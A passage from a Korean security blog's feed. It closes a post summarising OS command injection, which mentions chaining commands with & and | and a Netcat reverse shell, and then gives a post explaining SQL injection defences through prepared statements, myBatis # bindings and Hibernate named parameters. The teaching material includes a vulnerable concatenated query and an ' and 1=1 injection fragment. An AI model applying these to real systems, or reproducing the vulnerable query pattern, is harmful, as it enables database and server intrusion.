&lt;p data-ke-size=&quot;size16&quot;&gt;OS&amp;nbsp;Command&amp;nbsp;Injection&amp;nbsp;3줄&amp;nbsp;요약 &lt;br /&gt;-&amp;nbsp;운영체제&amp;nbsp;명령어(시스템&amp;nbsp;명령어)를&amp;nbsp;입력할&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;어플리케이션&amp;nbsp;기능에&amp;nbsp;시스템&amp;nbsp;명령어를&amp;nbsp;삽입하는&amp;nbsp;공격 &lt;br /&gt;-&amp;nbsp;메타문자&amp;nbsp;&amp;amp;,&amp;nbsp;|&amp;nbsp;사용하여&amp;nbsp;한줄에&amp;nbsp;여러&amp;nbsp;명령어&amp;nbsp;실행 &lt;br /&gt;- Netcat 활용하여 Reverse Shell 연결(서버에서 Outbound 연결)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;정규표현식 참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://hamait.tistory.com/342&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://hamait.tistory.com/342&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>웹 해킹/웹 해킹 및 시큐어 코딩 기초</category>
      <category>os command injection</category>
      <category>시큐어 코딩</category>
      <category>운영체제 명령어 주입</category>
      <category>웹 해킹</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/206</guid>
      <comments>https://it-log.tistory.com/206#entry206comment</comments>
      <pubDate>Fri, 3 Jan 2025 22:00:36 +0900</pubDate>
    </item>
    <item>
      <title>SQL Injection 대응 방안</title>
      <link>https://it-log.tistory.com/205</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;대응 방안 개요&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반적인 방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 시큐어 코딩 &amp;rarr; 근본적인 대응 방안&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 인라인 보안솔루션(IPS,WAF 등) &amp;rarr; 한계가 있다. (우회 할 수 있음)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시큐어 코딩&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1. Prepared Statement 사용&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 사용자 입력 값 타입에 따른 입력 값 검증 로직 구현&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 길이 제한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Prepared Statement 가 적용되어 있다면 굳이 2,3번을 적용할 필요가 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3번 길이제한은 단독으로 사용하면 안된다. &amp;rarr; 1번 or 2번과 같이 적용해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;대응 방안(1) - Prepared Statement 사용&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1410&quot; data-origin-height=&quot;726&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpGya9/btsLqSJQ73T/qu4csHLXxrSBD4IlNlNdf1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpGya9/btsLqSJQ73T/qu4csHLXxrSBD4IlNlNdf1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpGya9/btsLqSJQ73T/qu4csHLXxrSBD4IlNlNdf1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpGya9%2FbtsLqSJQ73T%2Fqu4csHLXxrSBD4IlNlNdf1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1410&quot; height=&quot;726&quot; data-origin-width=&quot;1410&quot; data-origin-height=&quot;726&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Prepared Statement 는 SQL Injection에 대한 방어 뿐만 아니라 성능적인 이점에 의해서 많이 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 적절하게 사용하지 않는 경우 Prepared Statement 또한 취약할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약한 소스코드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Statement 를 사용하여 질의하는 방식&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안전한 소스코드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Prepared Statement 를 사용하여 프리 컴파일 후에 사용자 입력값을 바인딩해서 결과를 얻어온다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 프리 컴파일: 코드에 삽입된 SQL문을 DB와 연결하는 작업 수행(컴파일 전에 수행하는 작업)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;SQL 구문 실행 단계&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 구문 분석 및 정규화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 컴파일&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 쿼리 최적화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 캐시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구문 분석 및 정규화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 쿼리 구문 및 의미를 검사&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 쿼리에 사용된 테이블, 컬럼이 존재하는지 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴파일&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;쿼리에 사용되었던 SELECT, FROM, WHERE 절 등을 컴퓨터가 이해할 수 있는 형식으로 변환&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;rarr; 사람이 이해하는 언어에서 컴퓨터가 이해하는 언어로 변환&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;쿼리 최적화&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&amp;rarr; 쿼리를 실행할 수 있는 방법을 찾기 위한 의사결정 트리가 만들어짐&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 쿼리 실행 시 최고 효율로 실행하는 방법을 찾는다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;캐시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 위의 3단계 결과를 캐시에 저장&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 동일한 쿼리가 캐시에 들어올때마다 캐시에 저장된 기존 쿼리를 실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 중복된 쿼리를 불필요하게 거칠 필요가 없음, 성능적 이점이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 제공된 쿼리가 실행되고 결과를 반환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Prepared Statement 가 안전한 이유&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1445&quot; data-origin-height=&quot;797&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bRgBjO/btsLrxkPU4a/KIJf99GYFagexReuFrWL1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bRgBjO/btsLrxkPU4a/KIJf99GYFagexReuFrWL1K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bRgBjO/btsLrxkPU4a/KIJf99GYFagexReuFrWL1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbRgBjO%2FbtsLrxkPU4a%2FKIJf99GYFagexReuFrWL1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1445&quot; height=&quot;797&quot; data-origin-width=&quot;1445&quot; data-origin-height=&quot;797&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;String query&amp;nbsp; = &quot;select * from board where content like &lt;b&gt;?&lt;/b&gt;&quot;;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 쿼리가 완성되지 않은 상태에서 질의를 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물음표(?)는 사용자 입력값과 치환된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1단계를 거칠 때는 물음표(?)는 단순 문자열이다, 아무런 역할도 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2단계를 거칠 때는 물음표(?)가 나중에 사용자 입력값과 치환이 되기 위해서 PlaceHolder의 기능을 하게끔 특수처리가 된다. (컴퓨터가 알 수 있는 형식으로 특정 값으로 변환된다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3단계를 거치고 4단계에서 캐시에 저장이 된다. &amp;rarr; pstmt = conn.prepareStatement(query);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴파일된 쿼리가 캐시에 저장이 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1431&quot; data-origin-height=&quot;793&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dpPN5B/btsLsqZPrRB/ihWK1Hi4LUW6kP1qcIjmc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dpPN5B/btsLsqZPrRB/ihWK1Hi4LUW6kP1qcIjmc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dpPN5B/btsLsqZPrRB/ihWK1Hi4LUW6kP1qcIjmc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdpPN5B%2FbtsLsqZPrRB%2FihWK1Hi4LUW6kP1qcIjmc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1431&quot; height=&quot;793&quot; data-origin-width=&quot;1431&quot; data-origin-height=&quot;793&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 입력한 데이터가 세팅이 될때, 미리 컴파일된 쿼리가 캐시에서 선택이 된다. (컴파일된 쿼리가 캐시에 저장되어 있음)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;PlaceHolder 부분이 setString 메소드에 의해 치환이 이루어진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1~4단계를 거치면서 &lt;b&gt;이미 컴파일을 진행하였기 때문에, 사용자 입력값(PlaceHolder)에 입력된 데이터는 순수 문자열로 처리 된다.&lt;/b&gt; 설령 ' and 1=1 등의 SQL 쿼리를 입력하더라도 SQL문으로 인식하지 않게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;컴파일을 거치는 이유는 사람이 알 수 있는 언어에서 컴퓨터가 알 수 있는 언어로 변환하기 때문에 컴파일 이후에 입력된 SQL 구문은 컴퓨터가 이해할 수 없게 된다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; SQL 구문을 컴퓨터가 해석하려면 컴파일이 되어야하는데, 이미 컴파일된 구문에 사용자 입력값(PlaceHolder)만 추가됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4단계 캐시에서는 단순히 사용자 입력값을 이미 컴파일된 쿼리에 넣기 때문에, 컴퓨터가 사용자 입력값에 포함된 SQL 쿼리를 이해하지 못하므로 SQL Injection이 발생할 수 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1389&quot; data-origin-height=&quot;715&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxvK6k/btsLqSwhzzC/4tQJo1L23osK1vqSIakdJk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxvK6k/btsLqSwhzzC/4tQJo1L23osK1vqSIakdJk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxvK6k/btsLqSwhzzC/4tQJo1L23osK1vqSIakdJk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxvK6k%2FbtsLqSwhzzC%2F4tQJo1L23osK1vqSIakdJk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1389&quot; height=&quot;715&quot; data-origin-width=&quot;1389&quot; data-origin-height=&quot;715&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 입력값 데이터 타입에 따른 메소드&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;setString &amp;rarr; 문자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;setInt &amp;rarr; 숫자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;request.getParameter(&quot;idx&quot;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 원래 문자형인데, Integer.parseInt 를 사용하여 &lt;span style=&quot;background-color: #ffffff; color: #474747; text-align: left;&quot;&gt;String타입의 숫자를 int타입으로 변환해준다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1103&quot; data-origin-height=&quot;710&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eisIC1/btsLtsX3BWG/H7OaweVHaTKL8fjIe552F1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eisIC1/btsLtsX3BWG/H7OaweVHaTKL8fjIe552F1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eisIC1/btsLtsX3BWG/H7OaweVHaTKL8fjIe552F1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeisIC1%2FbtsLtsX3BWG%2FH7OaweVHaTKL8fjIe552F1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1103&quot; height=&quot;710&quot; data-origin-width=&quot;1103&quot; data-origin-height=&quot;710&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Prepared Statement를 안전하게 사용해야한다. 잘못 사용하면 취약할 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프리 컴파일 이전에 사용자 입력값을 바인딩하는 경우 SQL Injection에 취약하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pstmt = conn.prepareStatement(query); 구문 이전에 &quot;select * from board where content like '%&quot; + keyword + &quot;%'&quot;; 구문을 사용하여 사용자 입력값이 바인딩되는 경우, SQL Injection에 취약하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;keyword 부분에 ' and 1=1 등의 SQL 구문이 삽입되면 컴파일되어 SQL Injection 공격이 가능해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안전하게 사용하기 위해서는 PlaceHolder 를 사용하여 프리 컴파일 이후에 사용자 입력값을 바인딩해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1106&quot; data-origin-height=&quot;725&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S429p/btsLtsKxoK5/6hs8azdsckDuZxe421DXa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S429p/btsLtsKxoK5/6hs8azdsckDuZxe421DXa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S429p/btsLtsKxoK5/6hs8azdsckDuZxe421DXa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS429p%2FbtsLtsKxoK5%2F6hs8azdsckDuZxe421DXa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1106&quot; height=&quot;725&quot; data-origin-width=&quot;1106&quot; data-origin-height=&quot;725&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전통적인 자바 웹 환경에서 JDBC를 통해서 DB를 연결했는데, 오늘날의 자바 웹 환경은 프레임워크를 사용하게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;iBatis, myBatis 환경에서 $,# 문자열은 다음과 같은 의미를 가진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$ &amp;rarr; Statement&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;# &amp;rarr; Prepared Statement&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$를 #으로 변경해줘야 안전하게 사용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1101&quot; data-origin-height=&quot;713&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/W1GFi/btsLshJEYWw/3OcNrONmNFwwjNBhuVezz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/W1GFi/btsLshJEYWw/3OcNrONmNFwwjNBhuVezz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/W1GFi/btsLshJEYWw/3OcNrONmNFwwjNBhuVezz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FW1GFi%2FbtsLshJEYWw%2F3OcNrONmNFwwjNBhuVezz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1101&quot; height=&quot;713&quot; data-origin-width=&quot;1101&quot; data-origin-height=&quot;713&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Hibenate 같은 경우에도 콜론 &lt;b&gt;:&lt;/b&gt; 문자를 이용하면 안전하게 사용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1171&quot; data-origin-height=&quot;647&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t5aZ3/btsLtqlBd03/pjMdlrsV1oDefNLR0C9VpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t5aZ3/btsLtqlBd03/pjMdlrsV1oDefNLR0C9VpK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t5aZ3/btsLtqlBd03/pjMdlrsV1oDefNLR0C9VpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft5aZ3%2FbtsLtqlBd03%2FpjMdlrsV1oDefNLR0C9VpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1171&quot; height=&quot;647&quot; data-origin-width=&quot;1171&quot; data-origin-height=&quot;647&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용자 입력 값을 통해 테이블/컬럼명을 입력 받을 경우 왜 Prepared Statement 사용이 불가능할까?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 테이블/컬럼명은 컴파일하여 컴퓨터가 알 수 있는 언어로 변환해야하는데, Prepared Statement를 사용하게 되면 컴파일 이후에 캐시에서 사용자 입력값(테이블/컬럼명)을 받아서 쿼리를 실행하게 되어 테이블/컬럼명은 단순 문자열로 처리되어 컴퓨터가 인식하지 못하게 된다. 그러므로 정상적인 SQL 질의가 불가능해진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 테이블/컬럼명이 컴파일되지 못하고 나중에 사용자 입력값으로 받기 때문에 컴퓨터가 인식하지 못하므로 Prepared Statement 사용이 불가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from ? where content like ?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from ㅁ where content like ㅁ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 어떤 테이블에서 데이터를 조회해야하는지 알 수 없음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Prepared Statement에서 setString 을 사용하는 것은 순수한 사용자 입력값만 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;키워드, 명령절 등 컴파일이 필요한(컴퓨터에 명령을 내려야하는) 부분에는 사용이 불가능하다.&lt;/p&gt;
